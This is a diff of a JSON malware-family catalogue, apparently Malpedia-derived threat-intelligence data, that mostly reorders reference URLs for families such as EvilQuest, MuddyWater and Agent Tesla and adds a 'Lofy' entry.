"https://objective-see.com/blog/blog_0x5F.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", - "https://objective-see.com/blog/blog_0x57.html", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", "https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/" ], "synonyms": [], @@ -7829,8 +8207,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dazzle_spy", - "https://objective-see.com/blog/blog_0x6D.html", - "https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/" + "https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/", + "https://objective-see.com/blog/blog_0x6D.html" ], "synonyms": [], "type": [] @@ -7884,8 +8262,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.electro_rat", "https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://objective-see.com/blog/blog_0x61.html" + "https://objective-see.com/blog/blog_0x61.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf" ], "synonyms": [], "type": [] @@ -7898,8 +8276,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilosx", - "https://github.com/Marten4n6/EvilOSX", - "https://twitter.com/JohnLaTwC/status/966139336436498432" + "https://twitter.com/JohnLaTwC/status/966139336436498432", + "https://github.com/Marten4n6/EvilOSX" ], "synonyms": [], "type": [] @@ -7912,16 +8290,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilquest", - "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://github.com/gdbinit/evilquest_deobfuscator", - "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/", - "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", "https://objective-see.com/blog/blog_0x59.html", - "https://objective-see.com/blog/blog_0x5F.html", + "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", "https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/", + "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/", + "https://objective-see.com/blog/blog_0x5F.html", + "https://github.com/gdbinit/evilquest_deobfuscator", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://twitter.com/dineshdina04/status/1277668001538433025", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities" + "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/" ], "synonyms": [ "ThiefQuest" @@ -7949,12 +8327,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.finfisher", - "https://objective-see.com/blog/blog_0x4F.html", + "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", "https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/", "https://securelist.com/finspy-unseen-findings/104322/", "https://objective-see.com/blog/blog_0x5F.html", - "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", - "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/" + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", + "https://objective-see.com/blog/blog_0x4F.html" ], "synonyms": [], "type": [] @@ -7967,11 +8345,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", - "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html", "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", + "http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html", "https://en.wikipedia.org/wiki/Flashback_(Trojan)", - "http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html" + "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities" ], "synonyms": [ "FakeFlash" @@ -7986,12 +8364,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly", - "https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html", - "https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", "https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/", + "https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/", + "https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html", "https://objectivebythesea.com/v3/talks/OBTS_v3_tReed.pdf", - "https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/" + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/" ], "synonyms": [ "Quimitchin" @@ -8006,8 +8384,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick", - "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/", - "https://cybersecuritynews.com/gimmick-malware-attacks/" + "https://cybersecuritynews.com/gimmick-malware-attacks/", + "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/" ], "synonyms": [], "type": [] @@ -8020,9 +8398,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gmera", + "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/", "https://blog.trendmicro.com/trendlabs-security-intelligence/mac-malware-that-spoofs-trading-app-steals-user-information-uploads-it-to-website/", - "https://objective-see.com/blog/blog_0x53.html", - "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/" + "https://objective-see.com/blog/blog_0x53.html" ], "synonyms": [ "Kassi", @@ -8051,9 +8429,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.imuler", - "https://www.welivesecurity.com/2012/03/16/osximuler-updated-still-a-threat-on-mac-os-x/", + "https://nakedsecurity.sophos.com/2012/11/13/new-mac-trojan/", "http://contagiodump.blogspot.com/2012/11/group-photoszip-osxrevir-osximuler.html", - "https://nakedsecurity.sophos.com/2012/11/13/new-mac-trojan/" + "https://www.welivesecurity.com/2012/03/16/osximuler-updated-still-a-threat-on-mac-os-x/" ], "synonyms": [ "Revir" @@ -8068,17 +8446,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab", - "https://archive.f-secure.com/weblog/archives/00002576.html", - "https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/", - "https://www.malwarology.com/posts/5-janicab-part_1/", - "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.macmark.de/blog/osx_blog_2013-08-a.php", - "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", - "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", - "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html", - "https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/" + "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", + "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", + "https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/", + "https://archive.f-secure.com/weblog/archives/00002576.html", + "https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/", + "https://www.macmark.de/blog/osx_blog_2013-08-a.php", + "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", + "https://www.malwarology.com/posts/5-janicab-part_1/" ], "synonyms": [], "type": [] @@ -8091,9 +8469,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger", + "http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/", "https://objective-see.com/blog/blog_0x16.html", - "https://www.macworld.com/article/3234650/macs/keranger-the-first-in-the-wild-ransomware-for-macs-but-certainly-not-the-last.html", - "http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/" + "https://www.macworld.com/article/3234650/macs/keranger-the-first-in-the-wild-ransomware-for-macs-but-certainly-not-the-last.html" ], "synonyms": [], "type": [] @@ -8106,10 +8484,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap", - "https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/", - "https://github.com/eset/malware-ioc/tree/master/keydnap", "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://objective-see.com/blog/blog_0x16.html" + "https://objective-see.com/blog/blog_0x16.html", + "https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/", + "https://github.com/eset/malware-ioc/tree/master/keydnap" ], "synonyms": [], "type": [] @@ -8137,10 +8515,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex", - 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"https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", - "https://securelist.com/shlayer-for-macos/95724/" + "https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities" ], "synonyms": [], "type": [] @@ -8521,8 +8903,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", - "https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis" + "https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf" ], "synonyms": [], "type": [] @@ -8552,8 +8934,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd", "https://securelist.com/windealer-dealing-on-the-side/105946/", - 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"https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", - "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", + "https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/", + "https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://unit42.paloaltonetworks.com/atoms/boggyserpens/", + "https://blog.prevailion.com/2020/01/summer-mirage.html", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", + "https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/", + "https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", + "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", + "https://marcoramilli.com/2020/01/15/iranian-threat-actors-preliminary-analysis/", + "https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", + "https://securelist.com/apt-trends-report-q2-2019/91897/" ], "synonyms": [ "Valyria" @@ -9362,13 +9766,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerton", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", "https://www.symantec.com/security-center/writeup/2019-062513-4935-99", - "https://norfolkinfosec.com/apt33-powershell-malware/", - "https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/", "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", - "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html" + "https://norfolkinfosec.com/apt33-powershell-malware/", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/" ], "synonyms": [], "type": [] @@ -9420,18 +9824,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop", - 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"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" + "https://unit42.paloaltonetworks.com/thanos-ransomware/", + "https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east" ], "synonyms": [], "type": [] @@ -9444,8 +9848,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2" + "https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], "type": [] @@ -9471,10 +9875,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca", "https://youtu.be/pBDu8EGWRC4?t=2492", "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html" ], "synonyms": [], @@ -9501,9 +9905,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin", - "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca", "https://ironnet.com/blog/dns-tunneling-series-part-3-the-siren-song-of-roguerobin/", - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", + "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca" ], "synonyms": [], "type": [] @@ -9542,19 +9946,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload", - "https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9", - "https://www.certego.net/en/news/sload-hits-italy-unveil-the-power-of-powershell-as-a-downloader/", "https://blog.minerva-labs.com/sload-targeting-europe-again", - "https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/", - "https://www.cert-pa.it/notizie/campagna-sload-star-wars-edition-veicolata-via-pec/", - "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", - "https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/", + "https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy", "https://threatpost.com/sload-spying-payload-delivery-bits/151120/", "https://cert-agid.gov.it/news/campagna-sload-v-2-9-3-veicolata-via-pec/", - "https://www.cybereason.com/blog/banking-trojan-delivered-by-lolbins-ramnit-trojan", + "https://www.certego.net/en/news/sload-hits-italy-unveil-the-power-of-powershell-as-a-downloader/", "https://www.microsoft.com/security/blog/2020/01/21/sload-launches-version-2-0-starslord/", + "https://www.cert-pa.it/notizie/campagna-sload-star-wars-edition-veicolata-via-pec/", "https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html", - "https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy" + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", + "https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9", + "https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/", + "https://www.cybereason.com/blog/banking-trojan-delivered-by-lolbins-ramnit-trojan", + "https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/" ], "synonyms": [ "Starslord" @@ -9569,6 +9973,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.snugy", + "https://unit42.paloaltonetworks.com/atoms/hunter-serpens/", "https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors/" ], "synonyms": [], @@ -9662,11 +10067,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannamine", "https://news.sophos.com/fr-fr/2020/01/22/wannamine-meme-cybercriminels-veulent-avoir-mot-a-dire-sur-brexit/", - "https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry", - "https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/", + "https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/", "https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/", - "https://www.accenture.com/_acnmedia/PDF-46/Accenture-Threat-Analysis-Monero-Wannamine.pdf", - "https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/" + "https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/", + "https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry", + "https://www.accenture.com/_acnmedia/PDF-46/Accenture-Threat-Analysis-Monero-Wannamine.pdf" ], "synonyms": [], "type": [] @@ -9724,20 +10129,20 @@ "type": [] }, "uuid": "c4a578de-bebe-49bf-8af1-407857acca95", - "value": "Ares" + "value": "Ares (Python)" }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot", - "https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/", - "https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/", - "https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/", "http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f", + "https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/", + "https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/", + "http://seclists.org/fulldisclosure/2017/Mar/7", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/", "https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A", - "http://seclists.org/fulldisclosure/2017/Mar/7" + "https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/" ], "synonyms": [], "type": [] @@ -9789,14 +10194,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.lazagne", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", - "https://www.infinitumit.com.tr/apt-35/", "https://github.com/AlessandroZ/LaZagne", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://attack.mitre.org/groups/G0100/", + "https://attack.mitre.org/groups/G0100", + "https://www.infinitumit.com.tr/apt-35/", "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf" + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [], "type": [] @@ -9804,6 +10211,21 @@ "uuid": "c752f295-7f08-4cb0-92d5-a0c562abd08c", "value": "LaZagne" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.lofy", + "https://securelist.com/lofylife-malicious-npm-packages/107014/" + ], + "synonyms": [ + "LofyLife" + ], + "type": [] + }, + "uuid": "10882613-ac61-42da-82c8-c0f4bb2673f8", + "value": "Lofy" + }, { "description": "This RAT written in Python is an open-source fork of the Ares RAT. This malware integrates additional modules, like recording, lockscreen, and locate options. It was used in a customized form version by El Machete APT in an ongoing champaign since 2020. The original code can be found at: https://github.com/TheGeekHT/Loki.Rat/", "meta": { @@ -9822,19 +10244,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.n3cr0m0rph", - "https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html", - "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", - "https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/", - "https://twitter.com/xuy1202/status/1393384128456794116", - "https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr", - "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", - "https://www.lacework.com/the-kek-security-network/", "https://github.com/lacework/lacework-labs/tree/master/keksec", - "https://www.lacework.com/keksec-tsunami-ryuk/", - "https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/", - "https://twitter.com/xuy1202/status/1392089568384454657", + "https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr", + "https://twitter.com/xuy1202/status/1393384128456794116", + "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", "https://www.bleepingcomputer.com/news/security/freakout-malware-worms-its-way-into-vulnerable-vmware-servers/", - "https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/" + "https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/", + "https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html", + "https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/", + "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", + 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"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/" ], "synonyms": [], "type": [] @@ -10593,8 +11040,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox", "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.epicturla.com/blog/acidbox-clustering", "https://blog.talosintelligence.com/2020/08/attribution-puzzle.html", + "https://www.epicturla.com/blog/acidbox-clustering", "https://unit42.paloaltonetworks.com/acidbox-rare-malware/" ], "synonyms": [ @@ -10689,8 +11136,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot", - "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-2-advisorsbot", - "https://www.bromium.com/second-stage-attack-analysis/" + "https://www.bromium.com/second-stage-attack-analysis/", + "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-2-advisorsbot" ], "synonyms": [], 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"https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware", - "https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://asec.ahnlab.com/ko/29133/", "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", - "https://guillaumeorlando.github.io/GorgonInfectionchain", - "https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", - "https://isc.sans.edu/diary/rss/28190", - "https://community.riskiq.com/article/6337984e", - "https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://www.denexus.io/wp-content/uploads/2021/02/Threat-actor-targeting-gas-oil-supply-chains_public.pdf", - "https://www.youtube.com/watch?v=Q9_1xNbVQPY", - "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", - "https://youtu.be/BM38OshcozE", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", - "https://isc.sans.edu/diary/27666", - "https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/", - "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/", - "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", - "https://community.riskiq.com/article/40000d46", - "https://isc.sans.edu/diary/28202", - "https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/", - 